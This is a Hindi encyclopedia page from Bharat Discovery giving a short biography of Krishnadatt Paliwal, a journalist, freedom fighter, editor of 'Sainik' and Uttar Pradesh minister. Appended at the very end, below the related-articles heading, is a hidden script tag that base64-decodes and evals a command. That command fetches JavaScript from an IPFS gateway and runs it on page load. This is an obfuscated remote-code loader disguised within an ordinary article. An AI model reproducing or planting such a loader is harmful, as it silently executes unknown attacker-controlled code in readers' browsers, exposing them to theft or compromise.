श्री कृष्णदत्त पालीवाल

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

श्री कृष्णदत्त पालीवाल (जन्म- 1895, आगरा ज़िला, मृत्यु- 1968) एक पत्रकार और स्वतंत्रता सेनानी थे। संविधान सभा और प्रदेश की विधानसभा की सदस्यता के साथ-साथ उन्होंने उत्तर प्रदेश सरकार में मंत्री पद भी संभाला था।

परिचय

पत्रकार और स्वतंत्रता सेनानी श्री कृष्णदत्त पालीवाल का जन्म 1895 ई. में आगरा जिले के एक गांव में हुआ था। उन्होंने इलाहाबाद विश्वविद्यालय से एम. ए. की परीक्षा पास की। वे कानून की पढ़ाई कर रहे थे कि उसी समय असहयोग आंदोलन आरंभ हो गया और पालीवाल उसमें सम्मिलित हो गए। अर्थशास्त्र के अध्ययन के साथ-साथ उन्होंने भारतीय धार्मिक ग्रंथों का भी गहन अध्ययन किया था। वे लोकमान्य तिलक को अपना गुरु मानते थे। स्वामी विवेकानंद के विचारों से भी वह प्रभावित थे। बाद में गांधी जी उनके प्रेरणा स्रोत बने रहे। पालीवाल धार्मिक संकीर्णताओं के विरोधी थे। उन्होंने स्वयं एक मुस्लिम विधवा से विवाह किया था।[1]

पत्रकारिता

पालीवाल ने पत्रकारिता के क्षेत्र में महत्वपूर्ण काम किया था। कुछ समय गणेश शंकर विद्यार्थी के 'प्रताप' में काम करने के बाद उन्होंने 1925 में आगरा से 'सैनिक' नाम का साप्ताहिक पत्र निकाला। 'प्रताप' की भांति 'सैनिक' भी राष्ट्रीय आंदोलन का ध्वजवाहक था। पालीवाल जी की लेखनी आंदोलनों में आग उगलती थी। इसलिए अपने जीवन काल में 'सैनिक' पर प्रतिबंध लगते रहे। वह बंद होता और निकलता रहा।

गतिविधियां

पालीवाल जी की क्रांतिकारियों के प्रति सहानुभूति थी। वे 'मैनपुरी षड्यंत्र' में गिरफ्तार भी हुए थे, किंतु अभियोग सिद्ध ना होने पर रिहा कर दिये गए। उनकी गणना उत्तर प्रदेश के चोटी के कांग्रेसजनों में होती थी। वे प्रदेश कांग्रेस कमेटी के अध्यक्ष भी रहे थे। गांधी जी ने 1940 में उन्हें सत्याग्रह के लिए पूरे प्रदेश का 'डिक्टेटर' नियुक्त किया था। सरकार ने उनको तत्काल गिरफ्तार कर लिया और 1945 में ही वे जेल से बाहर आ सके। 1946 में वे केंद्रीय असेंबली के सदस्य चुने गए। उन्होंने संविधान सभा और प्रदेश की विधानसभा की सदस्यता के साथ-साथ उत्तर प्रदेश की सरकार में मंत्री पद भी संभाला था।

मृत्यु

पत्रकार और स्वतंत्रता सेनानी श्री कृष्णदत्त पालीवाल का 1968 में देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 865 |

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>